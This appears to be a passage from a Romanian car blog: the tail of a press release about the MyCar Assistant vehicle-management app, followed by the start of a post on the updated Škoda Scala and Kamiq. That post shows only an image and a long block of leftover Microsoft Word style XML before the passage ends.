<p class="MsoNormal" style="background: white; text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">MyCar
Assistant este o aplicație românească concepută ca un asistent digital auto
complex, ce oferă o gestiune completă a datelor scadente pentru mașini
personale și flote, precum și asistență privind starea autovehiculelor, a
tuturor intervențiilor efectuate sau a daunelor, evidența cheltuielilor și
posibilitatea de a obține asigurarea RCA într-un timp extrem de scurt sau
găsirea și programarea la cea mai apropiată stație ITP. Aplicația permite din
2022 și accesarea opțiunii de a de a solicita o platformă de tractare de
oriunde din țară, dar și solicitarea unei mașini de înlocuire în caz de accident.
Utilizatorii sunt în permanență la curent cu ce documente expiră, întreținerea
flotei, daune și cheltuieli, comunicarea cu șoferii, gestiunea contractelor de
leasing și a anvelopelor, simplu, transparent, de pe orice dispozitiv.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><span style="color: #1d2228;">Sursa: </span><span lang="FR-BE" style="color: #1d2228;">Dora
Chelariu</span><span style="color: #1d2228;">, </span><span lang="FR-BE" style="color: #1d2228;">PR & Social Media Executive</span><span lang="FR-BE" style="color: #1d2228;"> </span><span lang="FR-BE" style="color: #1d2228;">Retail & Lifestyle Division</span><span lang="FR-BE" style="color: #1d2228;"> </span><span lang="FR-BE" style="color: #1d2228;">TotalPR</span></span><span style="color: #1d2228; font-family: "Helvetica",sans-serif; mso-ansi-language: RO;"><o:p></o:p></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-57547165352731260702023-07-20T09:22:00.000+03:002023-07-20T09:22:09.063+03:00Primele detalii despre modelele actualizate Škoda Scala și Škoda Kamiq<p style="text-align: left;"><span style="font-size: small;"><span style="font-family: arial;"> </span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijvbowAC_LbbExy1RGoREUq0tlA1bZUom7eFzbO2U5aMaEd1Q_416j26RmdRQGqu5o7163f0RTc3qQJGZHy8k8eOmKLbiypElYndbGImcXA49nd5chxmp_JOfFMcvbsPbKqmE-cf48qzKuAtXu8FmY8nC_aKFwmQT_1-UtQPWPl-1OdTqtHNuKTpVBn43l/s744/skoda-kamiq.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Škoda Kamiq" border="0" data-original-height="540" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijvbowAC_LbbExy1RGoREUq0tlA1bZUom7eFzbO2U5aMaEd1Q_416j26RmdRQGqu5o7163f0RTc3qQJGZHy8k8eOmKLbiypElYndbGImcXA49nd5chxmp_JOfFMcvbsPbKqmE-cf48qzKuAtXu8FmY8nC_aKFwmQT_1-UtQPWPl-1OdTqtHNuKTpVBn43l/s16000/skoda-kamiq.jpg" title="Primele detalii despre modelele actualizate Škoda Scala și Škoda Kamiq" /></a></span></div><span style="font-size: small;"><span style="font-family: arial;"> </span></span><br /><p></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: arial;"></span></span><!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:RelyOnVML/>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-US</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
DefSemiHidden="false" DefQFormat="false" DefPriority="99"
LatentStyleCount="376">
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 9"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="header"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footer"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index heading"/>
<w:LsdException Locked="false" Priority="35" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of figures"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope return"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="line number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="page number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of authorities"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="macro"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="toa heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 5"/>
<w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Closing"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Signature"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="true"
UnhideWhenUsed="true" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Message Header"/>
<w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Salutation"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Date"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Block Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="FollowedHyperlink"/>
<w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Document Map"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Plain Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="E-mail Signature"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Top of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Bottom of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal (Web)"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Acronym"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Cite"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Code"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Definition"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Keyboard"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Preformatted"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Sample"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Typewriter"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Variable"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Table"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation subject"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="No List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Contemporary"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Elegant"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Professional"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Balloon Text"/>
<w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Theme"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" QFormat="true"
Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" QFormat="true"
Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" QFormat="true"
Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" QFormat="true"
Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" QFormat="true"
Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" QFormat="true"
Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" SemiHidden="true"
UnhideWhenUsed="true" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
<w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
<w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
<w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
<w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
<w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
<w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
<w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 1"/>
